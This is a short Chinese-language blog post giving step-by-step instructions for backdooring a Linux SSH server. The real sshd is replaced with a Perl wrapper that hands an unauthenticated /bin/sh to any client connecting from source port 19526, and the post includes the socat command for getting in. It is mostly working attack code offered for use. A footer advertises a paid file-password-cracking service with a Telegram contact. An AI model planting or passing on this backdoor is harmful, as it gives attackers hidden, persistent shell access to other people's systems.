top of page

Linux 持久化連線

作家相片: Timmy TSENGTimmy TSENG

一,將原本的sshd從/usr/sbin移動到/usr/bin/


cd /usr/sbin 
mv sshd ../bin 

二,然後編輯sshd將以下內容放進去


vi sshd
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

三,給予文件執行權限


chmod 755 sshd

四,重起ssh 服務使它生效


service sshd restart

五,使用後門連入機器


socat STDIO TCP4:target_ip:22,sourceport=19526 六,原理 在 ssh 服務器的正常操作中,默認執行到/usr/sbin/sshd,這程序已被我們更改內容,其內容就是如果輸入來源開頭是一個套接字,並且源端口恰好是 19526(字符串“LF”從 ASCII 轉換為big-endian 16 位整數),則包裝器執行 /bin/sh 給客戶端


93 次查看0 則留言

最新文章

查看全部

Excel Word zip 7z等檔案密碼破解收費方式

本站使用GPU顯卡密碼破解可大幅加快破解速度 可支持中文字典方式密碼破解請TG詳談 詳細請TG聯繫詳談:jimmygou0302 密碼破解教學請看此篇文章 https://www.pentesthome.com/profile/qoo7972365/profile

Commentaires


bottom of page